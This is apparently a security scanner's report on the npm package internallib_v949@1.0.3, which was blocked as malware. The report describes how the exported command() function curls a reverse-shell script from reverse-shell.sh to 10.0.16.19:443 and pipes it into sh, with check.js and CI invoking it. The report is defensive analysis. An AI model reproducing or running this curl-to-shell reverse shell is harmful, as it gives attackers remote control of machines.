Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The published command() export downloads a reverse-shell script from reverse-shell.sh and executes it with bash. check.js and GitLab CI call that function after install. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-18T21:18:29.321Z - **Finished:** 2026-09-18T21:19:37.872Z - **Download time:** 505 ms - **Static scan time:** 6 ms - **AI review time:** 68039 ms - **Total time:** 68551 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The published command() export downloads a reverse-shell script from reverse-shell.sh and executes it with bash. check.js and GitLab CI call that function after install. - **Trigger:** A consumer requires internallib\_v949 and calls command(), as check.js and the GitLab CI job do. - **Impact:** Remote code execution and an outbound reverse shell to 10.0.16.19 on port 443. - **Evidence paths:** index.js, package.json, check.js, .gitlab-ci.yml - **Review source:** ai\_review - **Reviewed:** 2026-09-18T21:19:37.872Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** curl-pipe-to-shell reverse shell - **Attack narrative:** When an app requires internallib\_v949 and calls command(), the function prints a decoy string and then uses child\_process.exec to run bash, which curls https://reverse-shell.sh/10.0.16.19:443 and pipes the result into sh. That opens a reverse shell to 10.0.16.19:443. The bundled check.js and GitLab CI job call that function after installing the package, so the dropper is the intended runtime path. - **Rationale:** index.js is a reverse-shell dropper on the published main export, with check.js and CI invoking it. That is concrete remote code execution, not dual-use tooling. - **Network endpoints:** https://reverse-shell.sh/10.0.16.19:443 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The main module exports a command function that runs bash to curl https://reverse-shell.sh/10.0.16.19:443 and pipe it into sh., package.json sets main to index.js and adds a runtime dependency on internallib\_v949 itself., check.js requires internallib\_v949 and immediately calls command(), which is the reverse-shell entry., GitLab CI installs from a local registry and then runs node check.js, so that function is the exercised path. - **Evidence against:** There are no preinstall, install, or postinstall scripts, so npm install alone does not run the payload., The reverse shell runs when command() is called, not at module import time. ## Affected versions and remediation This report applies to internallib\_v949@1.0.3. - Avoid installing internallib\_v949@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
